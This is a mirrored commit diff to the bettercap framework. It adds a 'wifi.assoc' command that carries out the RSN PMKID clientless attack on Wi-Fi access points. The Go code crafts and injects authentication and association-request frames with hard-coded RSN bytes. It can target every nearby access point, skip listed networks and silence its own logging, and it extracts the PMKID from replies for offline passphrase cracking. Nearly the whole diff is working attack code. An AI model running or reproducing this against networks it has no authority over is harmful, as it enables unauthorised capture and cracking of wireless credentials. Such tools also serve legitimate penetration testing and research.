mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 02:36:57 -07:00
new: new wifi.assoc command to perform a RSN PMKID clientless attack (closes #436)
This commit is contained in:
parent
0ec645afd3
commit
acbc6d28dd
7 changed files with 279 additions and 6 deletions
|
@ -37,6 +37,9 @@ type WiFiModule struct {
|
|||
deauthSkip []net.HardwareAddr
|
||||
deauthSilent bool
|
||||
deauthOpen bool
|
||||
assocSkip []net.HardwareAddr
|
||||
assocSilent bool
|
||||
assocOpen bool
|
||||
shakesFile string
|
||||
apRunning bool
|
||||
apConfig packets.Dot11ApConfig
|
||||
|
@ -57,6 +60,10 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
apRunning: false,
|
||||
deauthSkip: []net.HardwareAddr{},
|
||||
deauthSilent: false,
|
||||
deauthOpen: false,
|
||||
assocSkip: []net.HardwareAddr{},
|
||||
assocSilent: false,
|
||||
assocOpen: false,
|
||||
writes: &sync.WaitGroup{},
|
||||
reads: &sync.WaitGroup{},
|
||||
chanLock: &sync.Mutex{},
|
||||
|
@ -123,6 +130,32 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
"true",
|
||||
"Send wifi deauth packets to open networks."))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
||||
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
|
||||
func(args []string) error {
|
||||
if args[0] == "all" || args[0] == "*" {
|
||||
args[0] = "ff:ff:ff:ff:ff:ff"
|
||||
}
|
||||
bssid, err := net.ParseMAC(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return w.startAssoc(bssid)
|
||||
}))
|
||||
|
||||
w.AddParam(session.NewStringParameter("wifi.assoc.skip",
|
||||
"",
|
||||
"",
|
||||
"Comma separated list of BSSID to skip while sending association requests."))
|
||||
|
||||
w.AddParam(session.NewBoolParameter("wifi.assoc.silent",
|
||||
"false",
|
||||
"If true, messages from wifi.assoc will be suppressed."))
|
||||
|
||||
w.AddParam(session.NewBoolParameter("wifi.assoc.open",
|
||||
"false",
|
||||
"Send association requests to open networks."))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wifi.ap", "",
|
||||
"Inject fake management beacons in order to create a rogue access point.",
|
||||
func(args []string) error {
|
||||
|
@ -228,7 +261,7 @@ func (w WiFiModule) Description() string {
|
|||
}
|
||||
|
||||
func (w WiFiModule) Author() string {
|
||||
return "Gianluca Braga <matrix86@protonmail.com> && Simone Margaritelli <evilsocket@protonmail.com>>"
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com> && Gianluca Braga <matrix86@protonmail.com>"
|
||||
}
|
||||
|
||||
const (
|
||||
|
|
130
modules/wifi_assoc.go
Normal file
130
modules/wifi_assoc.go
Normal file
|
@ -0,0 +1,130 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"sort"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
)
|
||||
|
||||
func (w *WiFiModule) sendAssocPacket(ap *network.AccessPoint) {
|
||||
if err, pkt := packets.NewDot11Auth(w.Session.Interface.HW, ap.HW, 1); err != nil {
|
||||
log.Error("cloud not create auth packet: %s", err)
|
||||
// continue
|
||||
} else {
|
||||
w.injectPacket(pkt)
|
||||
}
|
||||
|
||||
// for seq := uint16(0); seq < 3 && w.Running(); seq++ {
|
||||
if err, pkt := packets.NewDot11AssociationRequest(w.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil {
|
||||
log.Error("cloud not create association request packet: %s", err)
|
||||
// continue
|
||||
} else {
|
||||
w.injectPacket(pkt)
|
||||
}
|
||||
// }
|
||||
}
|
||||
|
||||
func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
|
||||
for _, mac := range w.assocSkip {
|
||||
if bytes.Equal(to, mac) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (w *WiFiModule) isAssocSilent() bool {
|
||||
if err, is := w.BoolParam("wifi.assoc.silent"); err != nil {
|
||||
log.Warning("%v", err)
|
||||
} else {
|
||||
w.assocSilent = is
|
||||
}
|
||||
return w.assocSilent
|
||||
}
|
||||
|
||||
func (w *WiFiModule) doAssocOpen() bool {
|
||||
if err, is := w.BoolParam("wifi.assoc.open"); err != nil {
|
||||
log.Warning("%v", err)
|
||||
} else {
|
||||
w.assocOpen = is
|
||||
}
|
||||
return w.assocOpen
|
||||
}
|
||||
|
||||
func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
|
||||
// parse skip list
|
||||
if err, assocSkip := w.StringParam("wifi.assoc.skip"); err != nil {
|
||||
return err
|
||||
} else if macs, err := network.ParseMACs(assocSkip); err != nil {
|
||||
return err
|
||||
} else {
|
||||
w.assocSkip = macs
|
||||
}
|
||||
|
||||
// if not already running, temporarily enable the pcap handle
|
||||
// for packet injection
|
||||
if !w.Running() {
|
||||
if err := w.Configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
defer w.handle.Close()
|
||||
}
|
||||
|
||||
toAssoc := make([]*network.AccessPoint, 0)
|
||||
isBcast := network.IsBroadcastMac(to)
|
||||
for _, ap := range w.Session.WiFi.List() {
|
||||
if isBcast || bytes.Equal(ap.HW, to) {
|
||||
if !w.skipAssoc(ap.HW) {
|
||||
toAssoc = append(toAssoc, ap)
|
||||
} else {
|
||||
log.Debug("skipping ap:%v because skip list %v", ap, w.assocSkip)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(toAssoc) == 0 {
|
||||
if isBcast {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("%s is an unknown BSSID or it is in the association skip list.", to.String())
|
||||
}
|
||||
|
||||
go func() {
|
||||
w.writes.Add(1)
|
||||
defer w.writes.Done()
|
||||
|
||||
// since we need to change the wifi adapter channel for each
|
||||
// association request, let's sort by channel so we do the minimum
|
||||
// amount of hops possible
|
||||
sort.Slice(toAssoc, func(i, j int) bool {
|
||||
return toAssoc[i].Channel() < toAssoc[j].Channel()
|
||||
})
|
||||
|
||||
// send the association request frames
|
||||
for _, ap := range toAssoc {
|
||||
if w.Running() {
|
||||
logger := log.Info
|
||||
if w.isAssocSilent() {
|
||||
logger = log.Debug
|
||||
}
|
||||
|
||||
if ap.IsOpen() && !w.doAssocOpen() {
|
||||
log.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
|
||||
} else {
|
||||
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption)
|
||||
|
||||
w.onChannel(ap.Channel(), func() {
|
||||
w.sendAssocPacket(ap)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
|
@ -156,11 +156,25 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
|||
apMac = dot11.Address1
|
||||
}
|
||||
|
||||
if station, found := w.Session.WiFi.GetClient(staMac.String()); found {
|
||||
// ref. https://hashcat.net/forum/thread-7717.html
|
||||
rawPMKID := []byte(nil)
|
||||
ap, found := w.Session.WiFi.Get(apMac.String())
|
||||
if !found {
|
||||
log.Warning("could not find AP with BSSID %s", apMac.String())
|
||||
return
|
||||
}
|
||||
|
||||
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
|
||||
station := (*network.Station)(nil)
|
||||
staIsUs := bytes.Equal(staMac, w.Session.Interface.HW)
|
||||
if staIsUs {
|
||||
// add a fake station
|
||||
station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI)
|
||||
found = true
|
||||
} else {
|
||||
station, found = ap.Get(staMac.String())
|
||||
}
|
||||
|
||||
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
|
||||
if found {
|
||||
rawPMKID := []byte(nil)
|
||||
if !key.Install && key.KeyACK && !key.KeyMIC {
|
||||
// [1] (ACK) AP is sending ANonce to the client
|
||||
log.Debug("[%s] got frame 1/4 of the %s <-> %s handshake (anonce:%x)",
|
||||
|
@ -168,6 +182,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
|||
apMac,
|
||||
staMac,
|
||||
key.Nonce)
|
||||
// ref. https://hashcat.net/forum/thread-7717.html
|
||||
rawPMKID = station.Handshake.AddAndGetPMKID(packet)
|
||||
} else if !key.Install && !key.KeyACK && key.KeyMIC && !allZeros(key.Nonce) {
|
||||
// [2] (MIC) client is sending SNonce+MIC to the API
|
||||
|
@ -206,6 +221,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
|||
PMKID: rawPMKID,
|
||||
})
|
||||
}
|
||||
|
||||
} else {
|
||||
log.Warning("EAPOL captured for unknown station %s", staMac.String())
|
||||
}
|
||||
|
|
|
@ -58,7 +58,7 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
|||
// this is ugly, but necessary in order to have this
|
||||
// method handle both access point and clients
|
||||
// transparently
|
||||
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && ap.HasHandshakes() {
|
||||
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) {
|
||||
encryption = tui.Red(encryption)
|
||||
}
|
||||
}
|
||||
|
|
|
@ -124,3 +124,16 @@ func (ap *AccessPoint) NumHandshakes() int {
|
|||
func (ap *AccessPoint) HasHandshakes() bool {
|
||||
return ap.NumHandshakes() > 0
|
||||
}
|
||||
|
||||
func (ap *AccessPoint) HasPMKID() bool {
|
||||
ap.Lock()
|
||||
defer ap.Unlock()
|
||||
|
||||
for _, c := range ap.clients {
|
||||
if c.Handshake.HasPMKID() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
|
|
@ -14,6 +14,7 @@ type Handshake struct {
|
|||
Challenges []gopacket.Packet
|
||||
Responses []gopacket.Packet
|
||||
Confirmations []gopacket.Packet
|
||||
hasPMKID bool
|
||||
unsaved []gopacket.Packet
|
||||
}
|
||||
|
||||
|
@ -49,6 +50,9 @@ func (h *Handshake) AddAndGetPMKID(pkt gopacket.Packet) []byte {
|
|||
if prevWasKey && layer.LayerType() == layers.LayerTypeDot11InformationElement {
|
||||
info := layer.(*layers.Dot11InformationElement)
|
||||
if info.ID == layers.Dot11InformationElementIDVendor && info.Length == 20 {
|
||||
h.Lock()
|
||||
defer h.Unlock()
|
||||
h.hasPMKID = true
|
||||
return info.Info
|
||||
}
|
||||
}
|
||||
|
@ -86,6 +90,12 @@ func (h *Handshake) Complete() bool {
|
|||
return nChal > 0 && nResp > 0 && nConf > 0
|
||||
}
|
||||
|
||||
func (h *Handshake) HasPMKID() bool {
|
||||
h.Lock()
|
||||
defer h.Unlock()
|
||||
return h.hasPMKID
|
||||
}
|
||||
|
||||
func (h *Handshake) NumUnsaved() int {
|
||||
h.Lock()
|
||||
defer h.Unlock()
|
||||
|
|
|
@ -97,6 +97,77 @@ func NewDot11Deauth(a1 net.HardwareAddr, a2 net.HardwareAddr, a3 net.HardwareAdd
|
|||
)
|
||||
}
|
||||
|
||||
func NewDot11Auth(sta net.HardwareAddr, apBSSID net.HardwareAddr, seq uint16) (error, []byte) {
|
||||
return Serialize(
|
||||
&layers.RadioTap{},
|
||||
&layers.Dot11{
|
||||
Address1: apBSSID,
|
||||
Address2: sta,
|
||||
Address3: apBSSID,
|
||||
Type: layers.Dot11TypeMgmtAuthentication,
|
||||
SequenceNumber: seq,
|
||||
FragmentNumber: 0,
|
||||
DurationID: 0x013a,
|
||||
},
|
||||
&layers.Dot11MgmtAuthentication{
|
||||
Algorithm: layers.Dot11AlgorithmOpen,
|
||||
Sequence: 1,
|
||||
Status: layers.Dot11StatusSuccess,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
func NewDot11AssociationRequest(sta net.HardwareAddr, apBSSID net.HardwareAddr, apESSID string, seq uint16) (error, []byte) {
|
||||
return Serialize(
|
||||
&layers.RadioTap{},
|
||||
&layers.Dot11{
|
||||
Address1: apBSSID,
|
||||
Address2: sta,
|
||||
Address3: apBSSID,
|
||||
Type: layers.Dot11TypeMgmtAssociationReq,
|
||||
SequenceNumber: seq,
|
||||
FragmentNumber: 0,
|
||||
DurationID: 0x013a,
|
||||
},
|
||||
// as seen on wireshark ...
|
||||
&layers.Dot11MgmtAssociationReq{
|
||||
CapabilityInfo: 0x0411,
|
||||
ListenInterval: 3,
|
||||
},
|
||||
&layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDSSID,
|
||||
Length: uint8(len(apESSID) & 0xff),
|
||||
Info: []byte(apESSID),
|
||||
},
|
||||
&layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDRates,
|
||||
Length: 8,
|
||||
Info: []byte{0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c},
|
||||
},
|
||||
&layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDESRates,
|
||||
Length: 4,
|
||||
Info: []byte{0x0C, 0x12, 0x18, 0x60},
|
||||
},
|
||||
&layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDRSNInfo,
|
||||
Length: 20,
|
||||
Info: []byte{0x01, 0x00, 0x00, 0x0F, 0xAC, 0x04, 0x01, 0x00, 0x00, 0x0F, 0xAC, 0x04, 0x01, 0x00, 0x00, 0x0F, 0xAC, 0x02, 0x8C, 0x00},
|
||||
},
|
||||
&layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDHTCapabilities,
|
||||
Length: 26,
|
||||
Info: []byte{0x2C, 0x01, 0x03, 0xFF, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
|
||||
},
|
||||
&layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDVendor,
|
||||
Length: 7,
|
||||
OUI: []byte{0, 0x50, 0xf2, 0x02},
|
||||
Info: []byte{0, 0x01, 0},
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
func Dot11Parse(packet gopacket.Packet) (ok bool, radiotap *layers.RadioTap, dot11 *layers.Dot11) {
|
||||
ok = false
|
||||
radiotap = nil
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue